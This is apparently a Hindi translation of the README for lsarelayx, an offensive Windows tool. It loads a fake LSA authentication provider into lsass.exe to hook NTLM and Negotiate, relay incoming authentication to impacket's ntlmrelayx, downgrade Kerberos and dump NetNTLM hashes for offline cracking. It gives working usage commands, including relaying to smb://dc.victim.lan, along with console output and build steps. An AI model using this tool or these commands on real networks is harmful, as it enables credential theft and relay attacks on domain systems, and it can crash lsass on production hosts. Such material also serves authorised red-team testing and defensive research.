
सिस्टम-व्यापी NTLM रिले टूल जो विंडोज ऑथेंटिकेशन APIs को हुक करता है, आने वाले NTLM कनेक्शनों को रिले करने, केर्बेरोस को डाउनग्रेड करने, और ऑफलाइन क्रैकिंग के लिए NetNTLM हैशेस डंप करने के लिए।
lsarelayx एक सिस्टम-व्यापी NTLM रिले उपकरण है जो होस्ट पर आने वाले NTLM-आधारित प्रमाणीकरण को रिले करने के लिए डिज़ाइन किया गया है। lsarelayx किसी भी आने वाले प्रमाणीकरण अनुरोध को रिले करेगा जिसमें SMB शामिल है। चूंकि lsarelayx मौजूदा एप्लिकेशन प्रमाणीकरण प्रवाह में हुक करता है, यह रिले पूरा होने के बाद मूल प्रमाणीकरण अनुरोध को भी सेवा देने का प्रयास करेगा। यह लक्ष्य एप्लिकेशन/प्रोटोकॉल को त्रुटियाँ प्रदर्शित करने से रोकेगा और lsarelayx होस्ट के विरुद्ध प्रमाणीकरण करने वाले अंतिम उपयोगकर्ताओं के लिए सामान्य रूप से कार्य करेगा।
lsarelayx तीन भागों में आता है। एक नकली LSA प्रमाणीकरण प्रदाता जो liblsarelay.dll में लागू किया गया है, एक उपयोगकर्ता मोड कंसोल एप्लिकेशन नियंत्रण इंटरफ़ेस के रूप में, और एक नया ntlmrelayx सर्वर मॉड्यूल जिसे RAW कहा जाता है।
liblsarelayx.dll LSA प्रमाणीकरण प्रदाता है जिसे lsarelayx द्वारा लोड किया जाता है। इसका प्रमुख उद्देश्य NTLM और Negotiate पैकेजों को हुक करना है ताकि प्रमाणीकरण अनुरोधों को lsarelayx पर एक स्थानीय नामित पाइप के माध्यम से रिले करने और NetNTLM हैश डंप करने की सुविधा मिल सके। liblsarelayx को यथासंभव सरल बनाने के लिए डिज़ाइन किया गया है जहाँ सभी भारी काम lsarelayx द्वारा किया जाता है।
lsarelayx.exe मुख्य कंसोल एप्लिकेशन है जिसका उपयोग कस्टम LSA प्रमाणीकरण प्रदाता (liblsarelayx.dll) को लोड करने, प्रमाणीकरण प्रदाता से आने वाले NTLM और Negotiate टोकन सुनने और उन्हें ntlmrelayx के RAW सर्वर मॉड्यूल में रिले करने के लिए किया जाता है। यह उपकरण रिले किए गए उपयोगकर्ताओं के लिए समूह जानकारी कैप्चर करने और LSA प्रमाणीकरण प्रदाता को वापस भेजने के लिए उपयोग की जाने वाली LDAP क्वेरी भी करता है।
impacket के ntlmrelayx ने रिले हमले बनाने में महत्वपूर्ण कार्य लागू किया है और भविष्य में और अधिक हमलों में सुधार और वृद्धि करता रहेगा। lsarelayx के भीतर सीधे हमलों को पुनः लागू करने के बजाय इसका लाभ उठाने के लिए, एक नया ntlmrelayx सर्वर मॉड्यूल बनाया गया जिसे RAW कहा जाता है। वर्तमान में GitHub पर एक PR खुला है जो RAW सर्वर मॉड्यूल को लागू करता है। RAW सर्वर मॉड्यूल प्रोटोकॉल-अज्ञेय है और इसे lsarelayx जैसे तृतीय-पक्ष सॉफ़्टवेयर से सीधे कच्चे NTLM संदेश स्वीकार करने के लिए डिज़ाइन किया गया है।
जब तक PR मुख्य impacket रिपॉजिटरी में विलय नहीं हो जाता, आप इस संस्करण का उपयोग कर सकते हैं।
पहले lsarelayx से पास किए गए RAW NTLM संदेशों को सुनने के लिए ntlmrelayx RAW सर्वर मॉड्यूल प्रारंभ करें।
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx को चलाने के लिए स्थानीय व्यवस्थापक अनुमतियाँ आवश्यक हैं। सक्रिय रिले मोड में चलाने के लिए, उस होस्ट पते को निर्दिष्ट करना होगा जहाँ ntlmrelayx RAW सर्वर मॉड्यूल चला रहा है। डिफ़ॉल्ट पोर्ट 6666 है। इसे --port तर्क से ओवरराइड किया जा सकता है, लेकिन सुनिश्चित करें कि ntlmrelayx पक्ष पर भी --raw-port तर्क का उपयोग करके पोर्ट को ओवरराइड किया गया हो।
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
आप बिना किसी तर्क के चलाकर lsarelayx को निष्क्रिय मोड में भी चला सकते हैं।
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
एक बार liblsarelayx DLL को lsass में लोड कर दिए जाने के बाद, LSA प्लगइन के काम करने के तरीके की सीमाओं के कारण वर्तमान में इसे अनलोड नहीं किया जा सकता है। क्लाइंट को बंद किया जा सकता है जो DLL को एक निष्क्रिय स्थिति में डाल देगा जब तक कि क्लाइंट फिर से शुरू न हो जाए, लेकिन DLL तब तक उपयोग में रहेगा जब तक रिबूट नहीं होता।
चूँकि LSA प्लगइन वास्तव में एक वास्तविक प्लगइन नहीं है, इसलिए प्लगइन के अंदर एक रिफ्लेक्टिव लोडर को लागू करने की योजना है जिसे इच्छानुसार रोका और शुरू किया जा सकता है, लेकिन यह किसी और दिन का काम है।
विकास Windows 10 और Server 2016 पर किया गया था। Windows Server 2012 R2 पर एक त्वरित परीक्षण किया गया जो काम कर गया, लेकिन हुकिंग के लिए ऑफ़सेट की गणना 2012 पर विफल हो सकती है (इसे मैन्युअल रूप से lookuppackage-hint= का उपयोग करके प्रदान किया जा सकता है, गलत होने पर Windows रिबूट हो जाएगा)। डेस्कटॉप पक्ष पर Windows 10 से नीचे किसी भी चीज़ का परीक्षण नहीं किया गया है और Server 2019 पर कोई परीक्षण नहीं किया गया है।
liblsarelayx.dll महत्वपूर्ण lsass.exe प्रक्रिया के अंदर लोड किया जाएगा। यदि liblsarelayx.dll में कोई बग है जो lsass.exe को क्रैश करता है, तो होस्ट 60 सेकंड के बाद रीबूट हो जाएगा। बग-मुक्त कोड लिखने के लिए सर्वोत्तम प्रयास किए गए हैं, लेकिन मैं कुछ भी वादा नहीं कर सकता। यदि आप lsarelayx का उपयोग करने के बाद व्यस्त फ़ाइल सर्वर को क्रैश करके अपने फॉर्च्यून 500 क्लाइंट को डाउन कर देते हैं, तो मेरे पास रोने न आएँ।
यदि आपके पास Docker स्थापित है, तो यह सबसे तेज़ विकल्प है। यह सभी निर्माण निर्भरताओं के साथ पूर्व-स्थापित ccob/windows_cross छवि का उपयोग करता है।
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Linux पर हम CMake टूलचेन और MinGW कंपाइलर का उपयोग करते हैं। इन्हें पहले से स्थापित करना होगा। प्रबंधित घटक के लिए, कृपया सुनिश्चित करें कि .NET कोर से dotnet कमांड लाइन टूल भी स्थापित हो।
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows पर निर्माण करने का प्रयास करने से पहले एक पूर्ण CMake, MinGW और Visual Studio सेटअप की आवश्यकता होगी, यह निर्माण का सबसे कष्टप्रद तरीका है यदि आपके पास विकास पर्यावरण स्थापित नहीं है।
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip